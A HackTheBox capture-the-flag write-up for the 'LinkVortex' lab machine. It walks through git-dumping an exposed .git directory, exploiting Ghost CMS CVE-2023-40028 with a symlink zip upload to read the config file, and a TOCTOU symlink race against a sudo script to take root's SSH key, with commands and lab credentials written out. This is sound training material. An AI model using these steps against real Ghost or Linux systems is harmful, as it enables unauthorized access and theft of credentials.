HTB: LinkVortex Writeup
LinkVortex - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | LinkVortex |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.47 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
LinkVortex is an easy-difficulty Linux machine that leverages multiple symbolic link vulnerabilities to achieve privilege escalation. The attack chain begins with discovering an exposed .git directory on a development subdomain, which yields Ghost CMS credentials through git history analysis. These credentials grant access to a Ghost installation vulnerable to CVE-2023-40028, an arbitrary file read flaw that permits authenticated users to upload symlinks. This vulnerability enables extraction of database credentials from the Ghost configuration file, leading to SSH access as the bob user. Final privilege escalation is accomplished through exploiting a TOCTOU (Time-of-Check-Time-of-Use) race condition in a bash script executed with sudo, allowing symlink target manipulation to read the root SSH private key.
TL;DR: .git enumeration → Git credentials → Ghost CVE-2023-40028 → Config file extraction → SSH access → TOCTOU symlink race → Root private key → Root shell
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.10.11.47Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1080/tcp open http Apache httpdThe nmap scan reveals SSH on port 22 and an Apache web server on port 80. The HTTP redirect indicates a hostname-based configuration.
Service Enumeration
Host Configuration:
echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hostsVisiting http://linkvortex.htb reveals a blog site called “BitByBit Hardware” powered by Ghost CMS version 5.58. The site contains technical posts authored by admin@linkvortex.htb.
Subdomain Discovery:
ffuf -w /usr/share/amass/wordlists/bitquark_subdomains_top100K.txt \ -H "Host: FUZZ.linkvortex.htb" \ -u http://linkvortex.htb/ \ -ic -fs 230A dev subdomain is discovered. Adding it to hosts:
echo "10.10.11.47 dev.linkvortex.htb" | sudo tee -a /etc/hostsDirectory Enumeration:
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \ -u http://dev.linkvortex.htb/FUZZ \ -ic -t 20The .git directory is exposed on the development subdomain, containing full git history and objects.
Vulnerability Assessment
| Vulnerability | Severity | Details |
|---|---|---|
Exposed .git directory | High | Allows extraction of repository history and credentials |
| CVE-2023-40028 (Ghost) | High | Authenticated arbitrary file read via symlink upload |
| TOCTOU Race Condition | High | Bash script fails to handle symlink target changes |
| Hardcoded credentials in git | Critical | Password stored in git history |
Initial Foothold
Git Repository Exploitation
Using git_dumper to extract the repository:
git clone https://github.com/arthaud/git-dumper.gitpython3 git-dumper/git_dumper.py http://dev.linkvortex.htb gitdumpcd gitdumpExamining git history:
git statusgit restore --staged .git diffThe diff reveals a password change in the authentication test file:
const password = 'thisissupersafe';const password = 'OctopiFociPilfer45';Credentials obtained: admin@linkvortex.htb / OctopiFociPilfer45
Ghost CMS Access
Navigate to http://linkvortex.htb/ghost and log in with the discovered credentials. Verify Ghost version in settings: 5.58.0
CVE-2023-40028 - Arbitrary File Read via Symlink Upload
Ghost allows authenticated users to upload zip files containing symlinks, which can point to arbitrary files on the system. The vulnerability lies in insufficient validation of symlink targets.
Step 1: Create exploit directory structure
mkdir -p exploit/content/images/ln -s /var/lib/ghost/config.production.json \ exploit/content/images/config.pngzip -r -y exploit.zip exploit/The -y flag ensures symlinks are stored as symlinks, not dereferenced files.
Step 2: Upload via Ghost
Navigate to Settings → Labs → Import Content and upload exploit.zip.
Step 3: Read via HTTP
curl http://linkvortex.htb/content/images/config.pngThis returns the Ghost configuration file contents, revealing SMTP credentials:
{ "mail": { "auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" } }}Credentials obtained: bob@linkvortex.htb / fibber-talented-worth
SSH Access
ssh bob@linkvortex.htb# Password: fibber-talented-worthRetrieve user flag:
cat ~/user.txt# <redacted>Privilege Escalation
Sudo Capability Analysis
Check bob’s sudo permissions:
sudo -lOutput:
User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.pngThe CHECK_CONTENT environment variable is preserved.
Script Analysis
cat /opt/ghost/clean_symlink.shThe script performs these operations:
- Validates file has
.pngextension - Checks if the file is a symlink using
test -L - Reads the symlink target with
readlink - If target contains “etc” or “root”, unlinks the file
- Otherwise moves to
/var/quarantined/ - If
CHECK_CONTENT=true, cats the quarantined file
Vulnerability: TOCTOU race condition between the security check and the cat operation.
TOCTOU Race Condition Exploitation
Step 1: Create initial symlink
mkdir -p /tmp/exploitcd /tmp/exploitln -s /ok test.pngzip -r -y exploit.zip .Upload via Ghost as before. Verify existence:
ls -la /opt/ghost/content/images/# lrwxrwxrwx 1 1000 1000 3 Apr 2 16:41 key.png -> /okStep 2: Race condition loop (Terminal 1)
Start a loop that continuously updates the symlink target in the quarantine directory:
while true; do ln -sf /root/.ssh/id_rsa /var/quarantined/key.pngdoneStep 3: Execute script with CHECK_CONTENT (Terminal 2)
export CHECK_CONTENT=truesudo /usr/bin/bash /opt/ghost/clean_symlink.sh \ /opt/ghost/content/images/key.pngThe script:
- Checks
key.png→ points to/ok(passes security check) - Moves to
/var/quarantined/key.png - Race condition window opens
- Meanwhile, the loop updates the target to
/root/.ssh/id_rsa - Script cats the file with root privileges
Output:
Link found [ /opt/ghost/content/images/key.png ], moving it to quarantineContent:-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn...-----END OPENSSH PRIVATE KEY-----Root Access via SSH
Save the private key locally:
cat > root_key << 'EOF'-----BEGIN OPENSSH PRIVATE KEY-----[paste full key here]-----END OPENSSH PRIVATE KEY-----EOF
chmod 600 root_keyssh -i root_key root@linkvortex.htbRetrieve root flag:
cat ~/root.txt# <redacted>Attack Chain Summary
Exposed .git directory ↓Git history analysis (credential in diff) ↓Ghost CMS login (admin@linkvortex.htb) ↓CVE-2023-40028 symlink upload ↓config.production.json extraction ↓SSH access (bob@linkvortex.htb) ↓TOCTOU race condition in clean_symlink.sh ↓root private key extraction ↓SSH root accessTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service enumeration |
ffuf | Subdomain and directory discovery |
git_dumper | Repository extraction from exposed .git |
git | Git history and diff analysis |
curl | File retrieval via HTTP |
zip | Creating exploit payloads with symlinks |
ssh | Remote shell access |
Key Learnings
Techniques Practiced
- Git repository enumeration and exploitation
- Exposed
.gitdirectory assessment and history analysis - Symlink-based arbitrary file read vulnerabilities
- CVE-2023-40028 manual and automated exploitation
- TOCTOU race conditions in bash scripts
- Symlink target manipulation timing
- Environment variable preservation in sudo
Lessons Learned
-
Git is a goldmine: Exposed
.gitdirectories often contain sensitive information in commit history. Always check diffs and logs when enumerating. -
Symlinks are dangerous: When accepting user uploads, validate not just file types but also prevent symbolic link uploads. The
-yflag in zip reveals the danger of tooling defaults. -
Time-of-Check-Time-of-Use matters: Security checks followed by file operations in bash create exploitable windows. Atomic operations or file locks prevent TOCTOU issues.
-
Environment variable preservation: The
env_keep+=CHECK_CONTENTin sudoers is a critical misconfiguration that enables bypass of intended security controls. -
Defense in depth fails: Multiple layers (Ghost authentication, symlink target checking, quarantine mechanism) were bypassed through a single race condition window.
-
Configuration files are targets: Always search for
.production.json,.env,config.php, etc., as they often contain database and service credentials.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>